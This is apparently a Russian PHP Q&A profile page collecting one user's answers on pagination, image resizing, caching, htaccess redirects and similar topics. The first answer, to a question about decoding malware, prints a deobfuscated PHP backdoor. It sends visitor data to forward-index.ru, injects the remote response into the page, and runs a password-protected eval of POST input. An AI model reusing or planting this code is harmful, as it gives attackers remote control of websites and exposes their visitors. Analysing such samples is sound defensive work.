Ответы пользователя по тегу PHP
  • Как расшифровать зловреда?

    65536
    @65536
    $light =

    <html>
    <head><title>502 Bad Gateway</title></head>
    <body bgcolor="white">
    <center><h1>502 Bad Gateway</h1></center>
    <hr><center>nginx/1.10.0 (Ubuntu)</center>
    </body>
    </html>
    zm^r^if (!isset($ibv)) {  error_reporting(0);
    if(!empty($_COOKIE["client_check"])) { echo $_COOKIE["client_check"]; } else {
    $url = "http://forward-index.ru/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&i=1&h=".md5("28e2b82b889b79039d9c5a0f9b8fb81411");
    if(function_exists("curl_init")) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, FALSE);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    $ibv = curl_exec($ch);
    curl_close($ch);
    } elseif(ini_get("allow_url_fopen") == 1) {
    $ibv = file_get_contents($url);
    }
    if(isset($_POST["p"]) && md5(md5($_POST["p"])) == "5fb703e603176e6d491669aa9929366d") { @eval(stripslashes($_POST["c"])); }
    echo $ibv;
    Ответ написан
    Комментировать
  • Как поменять ключи в массиве?

    65536
    @65536
    ну если прямо то что в вопросе, то array_values()
    Ответ написан
    1 комментарий
  • Как подобрать размеры изображений, что бы получить прямоугольник?

    65536
    @65536
    сидеть и целенаправленно думать на эту тему, пробовать сделать, тогда получится рано или поздно))

    можно сделать дубово, игнорировать пропорции картинок, делать все квадратами или прямоугольниками одинаковыми. например есть 6 картинок, одну рисуем большую (можно в реальных пропорциях), под ней/сбоку рисуем 5 одинаковых, у которых ширина (если под/над большой) или высота (если сбоку) равна размеру большой картинки разделить на 5. если 7 картинок, то одну большую а под ней 2 ряда по 3, опять же с такими габаритами чтобы заполнило нужную ширину/высоту. такой алгоритм сделать не сложно, это арифметика.

    а в квадраты уже вписывать картинки так чтобы они заняли их целиком (обрезать)

    вот могу взгреть свой вписыватель
    class Wrapper
    {
        private $sourceWidth;
        private $sourceHeight;
    
        public function sourceSize($width, $height)
        {
            $this->sourceWidth = $width;
            $this->sourceHeight = $height;
    
            return $this;
        }
    
        private $targetWidth;
        private $targetHeight;
    
        public function targetSize($width = false, $height = false)
        {
            $this->targetWidth = $width;
            $this->targetHeight = $height;
    
            return $this;
        }
    
        private $preventUpsize = false;
    
        public function preventUpsize($value = true)
        {
            $this->preventUpsize = $value;
    
            return $this;
        }
    
        private $ratio;
        private $left;
        private $top;
        private $width;
        private $height;
    
        /**
         * растянуть/сжать так, чтобы source полностью поместилось в target
         */
        public function fit()
        {
            $sourceRatio = $this->sourceWidth / $this->sourceHeight;
    
            if (!$this->targetWidth || !$this->targetHeight) {
                if ($this->targetWidth) {
                    $this->targetHeight = $this->targetWidth / $sourceRatio;
                } elseif ($this->targetHeight) {
                    $this->targetWidth = $sourceRatio / $this->targetHeight;
                }
    
                $targetRatio = $sourceRatio;
            } else {
                $targetRatio = $this->targetWidth / $this->targetHeight;
            }
    
            if ($sourceRatio > $targetRatio) {
                $this->ratio = $this->targetWidth / $this->sourceWidth;
            } else {
                $this->ratio = $this->targetHeight / $this->sourceHeight;
            }
    
            $this->resize();
            $this->center();
    
            return $this->getOutput();
        }
    
        /**
         * растянуть/сжать так, чтобы source заняло все пространство target
         */
        public function fill()
        {
            $sourceRatio = $this->sourceWidth / $this->sourceHeight;
    
            if (!$this->targetWidth || !$this->targetHeight) {
                if ($this->targetWidth) {
                    $this->targetHeight = $this->targetWidth / $sourceRatio;
                } elseif ($this->targetHeight) {
                    $this->targetWidth = $sourceRatio / $this->targetHeight;
                }
    
                $targetRatio = $sourceRatio;
            } else {
                $targetRatio = $this->targetWidth / $this->targetHeight;
            }
    
            if ($sourceRatio < $targetRatio) {
                $this->ratio = $this->targetWidth / $this->sourceWidth;
            } else {
                $this->ratio = $this->targetHeight / $this->sourceHeight;
            }
    
            $this->resize();
            $this->center();
    
            return $this->getOutput();
        }
    
        private function resize()
        {
            if ($this->preventUpsize && $this->ratio > 1) {
                $this->ratio = 1;
            }
    
            $this->width = $this->sourceWidth * $this->ratio;
            $this->height = $this->sourceHeight * $this->ratio;
        }
    
        private function center()
        {
            $this->left = ($this->targetWidth - $this->width) / 2;
            $this->top = ($this->targetHeight - $this->height) / 2;
        }
    
        private function getOutput()
        {
            return [
                'left'   => $this->left,
                'top'    => $this->top,
                'width'  => $this->width,
                'height' => $this->height
            ];
        }
    }


    Должны быть известны размеры картинки и прямоугольника, который надо заполнить картинкой. То есть вам надо сначала повычислять размеры этих прямоугольников, а потом под них ресайзить картинки. Примерно так:
    $wrapper = new Wrapper;
    
    $wrapper->sourceSize($imageWidth, $imageHeight);
    $wrapper->targetSize($containerWidth, $containerHeight);
    
    $wrapData = $wrapper->fill();

    $wrapData будет содержать нужную ширину и высоту и смещение (центрирующее)

    Эти данные можно уже использовать где угодно, в хтмл или в джс. Я прямо в стили хтмл пишу (никто не умер):

    <div class="image_wrapper" style="width: {WRAPPER_WIDTH}; height: {WRAPPER_HEIGHT};">
        <div style="left: {LEFT}px; top: {TOP}px">
            <img src="{SRC}" width="{WIDTH}" height="{HEIGHT}">
        </div>
    </div>


    WRAPPER_WIDTH - $containerWidth
    WRAPPER_HEIGHT - $containerHeight
    LEFT - $wrapData['left']
    TOP - $wrapData['top']
    WIDTH - $wrapData['width']
    HEIGHT - $wrapData['height']

    цсс такой нужен
    .image_wrapper {
        position: relative;
        overflow: hidden;
    
        > div {
            position: relative;
        }
    }
    Ответ написан
    Комментировать
  • Как сделать красивую пагинацию?

    65536
    @65536
    вот мой вариант ex.tmweb.ru/paginator

    вот метод который выдает массив номеров страниц в зависимости от количества
    private function getNumbers($pagesCount)
    {
        $numbers = [];
    
        $rangeL = $this->page - $this->range - 1;
    
        if ($rangeL < 1) {
            $rangeL = 1;
        }
    
        $rangeR = $rangeL + $this->range * 2 + 1;
    
        if ($rangeR > $pagesCount) {
            $rangeR = $pagesCount;
            $rangeL = $pagesCount - $this->range * 2 + 1;
    
            if ($rangeL < 1) {
                $rangeL = 1;
            }
        }
    
        if ($rangeL > 1) {
            $numbers[] = 1;
    
            if ($rangeL > 2) {
                $rangeL++;
    
                $numbers[] = false;
            }
        }
    
        for ($i = $rangeL; $i <= $rangeR; $i++) {
            $numbers[] = $i;
        }
    
        if ($rangeR < $pagesCount) {
            if ($rangeR < $pagesCount - 2) {
                $numbers[] = false;
            } else {
                $numbers[] = $pagesCount - 1;
            }
    
            $numbers[] = $pagesCount;
        }
    
        return $numbers;
    }


    $this->page - номер текущей страницы (нумерация не с 0 а с 1)
    $this->range - по сколько кнопок страниц показывать вокруг выбранной (в примере задано 4)

    пропуски добавляются в него как false, при рендрежке потом можно заменить каким-то контролом или троеточием как в примере
    Ответ написан
    3 комментария
  • Что на сайте нужно обязательно кэшировать?

    65536
    @65536
    желательно всё, что не обязательно рендрить каждый раз (редко меняющееся). например, не обязательно рендрить при каждой загрузке страницы какое-нибудь дерево категорий. кэшировать его, а кэш сбрасывать после изменений, или вручную или триггерить по событиям
    Ответ написан
    4 комментария
  • Качество кода в компонентах битрикса?

    65536
    @65536
    максимально компактно: разработка на битриксе - это пи-ц
    Ответ написан
    4 комментария
  • Ctrl+shift+r через php можно?

    65536
    @65536
    Сделать где-нибудь 2 переменные хранящие номера версий для джс файлов и цсс. Добавлять их к урлам через знак вопроса, типа klmn.css?123. Когда что-то поменялось, менять значения. Браузер гарантированно скачает файл заново. При этом кеширование можно ставить бесконечное
    Ответ написан
    2 комментария
  • Толкование понятия экземпляра php?

    65536
    @65536
    экземпляр экземпляра
    Ответ написан
    Комментировать
  • Каким должен быть контрольный список знаний для Junior PHP(2016)?

    65536
    @65536
    пхп это машинный код!
    Ответ написан
    Комментировать
  • Как сделать редирект в .htaccess?

    65536
    @65536
    мб так RewriteRule (.*)feed/(.*) /$1$2 [R=301,L]
    Ответ написан
    Комментировать
  • Как сделать меню с категориями?

    65536
    @65536
    хранить где-то в сессии состояние развернутости узлов, массив из идов. решить какое дефолтное состояние для всех, при рендрежке меню учитывать наличие ида в этом массиве, если есть то считать состояние противоположным дефолтному. если выходит что вложенное дерево скрыто, то не рендрить его вообще либо сделать скрытым. при нажатии на узлы слать на сервер инфу о том что такой-то узел меняет состояние, изменить его в сессии (убрать или добавить в тот массив), перезагрузить дерево. или не перезагружать? а джсом его складывать раскладывать, при условии что оно было целиком загружено, вместе со скрытыми узлами

    и только не id_parent, а parent_id
    Ответ написан
    Комментировать
  • Существует ли синтаксический сахар для php?

    65536
    @65536
    sphp
    Ответ написан
    Комментировать
  • Есть ли способ скомпилировать PHP в нечто не читаемое?

    65536
    @65536
    оно все лежит у вас на сервере или вы код отдаете? видел у одних ребят гениальное решение, в include_path были добавлены пути из которых брался секретный код, а для конечных пользователей был доступен только индекс пхп и какая-то кастомная фигня в своей папке. не сильно уверен в надежности этого всего. сейчас потестил, вроде всё так. инклудится, содержание получить не получается. похоже главное чтобы эти пути были вне open_basedir.
    Ответ написан
  • Как протестировать потребление ресурсов модулями?

    65536
    @65536
    разглядывание профайлов в kcachegrind дает много информации
    Ответ написан
    Комментировать
  • Как создать файл?

    65536
    @65536
    touch
    Ответ написан
    Комментировать
  • Динамичный сайт без PHP?

    65536
    @65536
    ssi))) сегодня случайно вспомнил что есть такая технология. интересно, кто-нибудь пользовался вообще.

    но как сказал 27 к динамичности это не имеет отношения

    https://github.com/ziadoz/awesome-php#templating
    Ответ написан
    Комментировать
  • В чем моя ошибка с empty?

    65536
    @65536
    что проверяете то?)) наличие фотки на диске или строчку?

    <img src=images/photo/photo.jpg width=400 height=400>
    не емпти, да

    file_exists
    Ответ написан
    Комментировать
  • Как называются функции с такими аргументами?

    65536
    @65536
    не слыхал чтобы это как-то называлось. делаю так для всяких сложных функций, которые можно вызывать по-разному. "магический" вызов чисто для удобства. например есть функция f(a, b). в ее логике нужны эти а и б. а в виде строки, либо фэлс, б в виде массива или нулла. и допустим больше чем в половине случаев надо вызвать с фэлсом в первом аргументе, придется каждый раз писать f(false, $array), что неприятно, и хотелось бы писать просто f($array). для этого просто перед выполнением основной логики функции нужно искусственно переделать аргументы. ну и лучше не прописывать дефолты в объявлении а собрать с помощью func_get_args или лучше сразу применить заклинание list($a, $b, $c) = array_pad(func_get_args(), 3, null);
    Ответ написан
    Комментировать